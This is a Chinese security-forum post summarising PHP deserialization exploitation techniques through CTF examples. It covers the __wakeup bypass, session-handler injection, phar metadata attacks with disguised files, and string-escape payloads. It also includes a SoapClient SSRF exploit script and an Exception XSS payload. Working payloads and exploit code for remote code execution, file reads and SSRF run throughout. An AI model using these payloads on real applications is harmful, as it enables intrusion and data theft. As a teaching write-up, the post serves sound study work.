安全矩阵

 找回密码
 立即注册
搜索
查看: 2196|回复: 0

反序列化漏洞利用总结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-4 09:13:55 | 显示全部楼层 |阅读模式
原文链接:反序列化漏洞利用总结

反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下
简单介绍(反)序列化只是给我们传递对象提供了一种简单的方法。
  •         serialize()将一个对象转换成一个字符串
  •         unserialize()将字符串还原为一个对象

在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害
因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点
在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已
漏洞成因即利用思路
才疏学浅,若有错误,多加包涵
Magic functionMagic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩
  •         __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  •         __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。
  •         __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。
  •         __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
  •         __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

利用方式__wakeup()对应的CVE编号:CVE-2016-7124
  •         存在的php版本:PHP5.6.25之前版本和7.0.10之前的7.x版本
  •         漏洞成因:当对象的属性(变量)数大于实际的个数时,__wakeup可以被被绕过

demo
  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. class convent{
  5.     var $warn = "No hacker.";
  6.     function __destruct(){
  7.         eval($this->warn);
  8.     }
  9.     function __wakeup(){
  10.         foreach(get_object_vars($this) as $k => $v) {
  11.             $this->$k = null;
  12.         }
  13.     }
  14. }
  15. $cmd = $_POST[cmd];
  16. unserialize($cmd);
  17. ?>
复制代码

这边的 __wakeup是事件型的,如果没遇到unserialize就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。在这里,经过测试,我们可以得出__wakeup优先级高于 __destruct()
因为遇到了unserialize得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup
怎么绕过?
只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过
  1. <?php

  2. class convent{
  3.     var $warn = "phpinfo();";
  4.     function __destruct(){

  5.     }   
  6. }
  7. $a = new convent();
  8. $b = serialize($a);
  9. print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
  10. ?>
复制代码


然后更改变量数即可

O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

存在多个魔法方法时,要弄清哪个魔法方法的优先级高
PHP session反序列化这在我之前一篇文章其实已经介绍得差不多了
  •         漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞

demo
在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞
相关题目: http://web.jarvisoj.com:32784/
  1. <?php
  2. //A webshell is wait for you
  3. ini_set('session.serialize_handler', 'php');
  4. session_start();
  5. class OowoO
  6. {
  7.     public $mdzz;
  8.     function __construct()
  9. {
  10.         $this->mdzz = 'phpinfo();';
  11.     }

  12.     function __destruct()
  13. {
  14.         eval($this->mdzz);
  15.     }
  16. }
  17. if(isset($_GET['phpinfo']))
  18. {
  19.     $m = new OowoO();
  20. }
  21. else
  22. {
  23.     highlight_string(file_get_contents('index.php'));
  24. }
  25. ?>
复制代码

仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜测是否为session反序列化漏洞看一下phpinfo

local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize
这就很明显存在session反序列化漏洞了

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
所以可以通过Session Upload Progress来设置session
允许上传且结束后不清除数据,这样更有利于利用
我们在html网页源码上加入以下代码
  1. <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
  2.     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3.     <input type="file" name="file" />
  4.     <input type="submit" />
  5. </form>
复制代码


接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的
  1. <?php
  2. ini_set('session.serialize_handler', 'php_serialize');
  3. session_start();
  4. class OowoO
  5. {
  6.     public $mdzz='print_r(scandir(dirname(__FILE__)));';
  7. }
  8. $obj = new OowoO();
  9. echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
  10. ?>
复制代码


为了防止被转义,我们在双引号前加上反斜杠\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量)

这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录

更改payload,利用print_r来读取目标文件

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

phar 反序列化phar在网上已经有很多解释了,这里就不过多赘述,简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行
  •         前提条件

php.ini中设置为phar.readonly=Offphp version>=5.3.0
  •         漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。

demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
  1. <?php
  2.     class User{
  3.         var $name;
  4.         function __destruct(){
  5.             echo "Blackwatch";
  6.         }
  7.     }

  8.     @unlink("test.phar");
  9.     $phar = new Phar("test.phar");//后缀名必须为phar
  10.     $phar->startBuffering();
  11.     $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
  12.     $o = new User();
  13.     $o->name = "test";
  14.     $phar->setMetadata($o);//将自定义的meta-data存入manifest
  15.     $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
  16.      //签名自动计算
  17.     $phar->stopBuffering();
  18. ?>
复制代码

可以很明显看到我们的manifest(也就是meta-data)是以序列号形式存储的

在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,其他函数也是可以的
phar反序列化可以利用的函数

phar文件伪造
​​
因为php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传
  •         phar 文件能够上传
  •         文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤
  •         有可用的魔术方法作为”跳板”


$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
  •         例题:SWPUCTF2018 SimplePHP

bypass phar:// 不能出现在首部
这时我们我们可以利用compress.zlib://  或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar://
  •         payload


compress.zlib://phar://phar.phar/test.txt
  •         例题:巅峰极客 2020 babyphp2

字符逃逸
  •         PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .
  •         当长度不对应的时候会出现报错
  •         可以反序列化类中不存在的元素

  •         漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸

字符串变多
  •         [0CTF 2016]piapiapia

扫描目录发现有WWW.ZIP泄露,下载后用Seay源码审计一下

而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路
  •         因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag
  •         profile.php


  •         update.php


  •         class.php


我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)
在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化

我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”
这就是反序列化长度变化尾部字符串逃逸

我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符
我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了
where(5)会替换成hacker(6),长度加1,所以我们要构造34个where
";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果
使用数组绕过nickname长度限制

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag
字符串变少
也有师傅称之为对象逃逸
俺没对象所以不用这个名称
原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果
直接看题
  •         [安洵杯 2019]easy_serialize_php

源码如下
  1. <?php

  2. $function = @$_GET['f'];

  3. function filter($img){
  4.     $filter_arr = array('php','flag','php5','php4','fl1g');
  5.     $filter = '/'.implode('|',$filter_arr).'/i';
  6.     return preg_replace($filter,'',$img);
  7. }


  8. if($_SESSION){
  9.     unset($_SESSION);
  10. }

  11. $_SESSION["user"] = 'guest';
  12. $_SESSION['function'] = $function;

  13. extract($_POST);

  14. if(!$function){
  15.     echo '<a href="index.php?f=highlight_file">source_code</a>';
  16. }

  17. if(!$_GET['img_path']){
  18.     $_SESSION['img'] = base64_encode('guest_img.png');
  19. }else{
  20.     $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
  21. }

  22. $serialize_info = filter(serialize($_SESSION));

  23. if($function == 'highlight_file'){
  24.     highlight_file('index.php');
  25. }else if($function == 'phpinfo'){
  26.     eval('phpinfo();'); //maybe you can find something in here!
  27. }else if($function == 'show_image'){
  28.     $userinfo = unserialize($serialize_info);
  29.     echo file_get_contents(base64_decode($userinfo['img']));
  30. }
复制代码

根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是不行的$_SESSION 数组中有 user, funciton, img 这三个属性
img的值我们是控制不了的,进而无法读取到目标文件
我们把注意力转移到函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据
而且extract($_POST)存在变量覆盖漏洞
所以我们可以在这上面做文章
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
但是因为过滤的原因,会变成这样

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a
";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值
因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点
后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃
因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果
所以payload为

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名
Pop chain严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题
在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改
pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路
SoapClientSoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap  将注释删掉即可
  •         漏洞成因:因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf

exp
  1. <?php
  2. $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
  3. $b = serialize($a);
  4. echo $b;
  5. $c = unserialize($b);
  6. $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
  7. ?>
复制代码

LCTF 2018 bestphp's revenge

exp
  1. import requests
  2. import re
  3. url = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
  4. payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
  5. r = requests.session()
  6. data = {'serialize_handler': 'php_serialize'}
  7. res = r.post(url=url+'?f=session_start&name='+payload, data=data)
  8. # print(res.text)
  9. res = r.get(url)
  10. # print(res.text)
  11. data = {'b':'call_user_func'}
  12. res = r.post(url=url+'?f=extract', data=data)
  13. res = r.post(url=url+'?f=extract', data=data)  # 相当于刷新页面
  14. sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
  15. cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
  16. res = r.get(url, headers=cookie)
  17. print(res.text)
复制代码

Exception与SoapClient一样,是属于PHP原生类
  •         漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞

  1. <?php
  2. $s = new Exception("<script>alert(1)</script>");
  3. echo urlencode(serialize($s));
  4. ?>
复制代码




总结除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
实操推荐:PHP反序列化漏洞实验(复制下文链接到PC体验吧)
https://www.hetianlab.com/expc.d ... =weixin-wemedia#stu
了解什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:47 , Processed in 0.015032 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表